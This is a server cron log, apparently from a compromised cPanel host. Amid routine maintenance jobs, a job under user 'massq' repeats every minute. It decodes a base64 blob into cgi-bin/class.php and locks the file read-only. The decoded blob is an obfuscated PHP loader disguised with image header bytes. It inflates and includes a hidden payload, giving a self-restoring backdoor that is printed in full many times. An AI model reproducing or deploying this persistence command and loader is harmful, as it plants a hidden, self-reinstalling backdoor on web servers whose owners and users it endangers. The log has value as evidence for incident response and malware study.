Sep 12 00:07:01 server CROND[29926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:08:01 server CROND[30349]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:08:01 server CROND[30350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:08:01 server CROND[30351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:09:01 server CROND[30725]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 00:09:01 server CROND[30726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:09:01 server CROND[30728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:09:01 server CROND[30729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:10:01 server CROND[31106]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 00:10:01 server CROND[31107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:10:01 server CROND[31110]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 00:10:01 server CROND[31114]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 00:10:01 server CROND[31115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:10:01 server CROND[31113]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:10:01 server CROND[31117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:10:01 server CROND[31116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:11:01 server CROND[32036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:11:01 server CROND[32035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:11:01 server CROND[32037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:12:01 server CROND[32405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:12:01 server CROND[32406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:12:01 server CROND[32407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:12:01 server CROND[32408]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 00:13:01 server CROND[371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:13:01 server CROND[372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:13:01 server CROND[370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:14:01 server CROND[777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:14:01 server CROND[778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:14:01 server CROND[779]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:15:01 server CROND[1231]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 00:15:01 server CROND[1230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:15:01 server CROND[1233]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:15:01 server CROND[1247]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 12 00:15:01 server CROND[1248]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 00:15:01 server CROND[1265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:15:01 server CROND[1251]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 00:15:01 server CROND[1266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:15:01 server CROND[1255]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:15:01 server CROND[1267]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 00:16:01 server CROND[2302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:16:01 server CROND[2304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:16:01 server CROND[2303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:17:01 server CROND[2710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:17:01 server CROND[2711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:17:01 server CROND[2712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:18:01 server CROND[3078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:18:01 server CROND[3079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:18:01 server CROND[3080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:19:01 server CROND[3457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:19:01 server CROND[3458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:19:01 server CROND[3459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:20:01 server CROND[3885]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
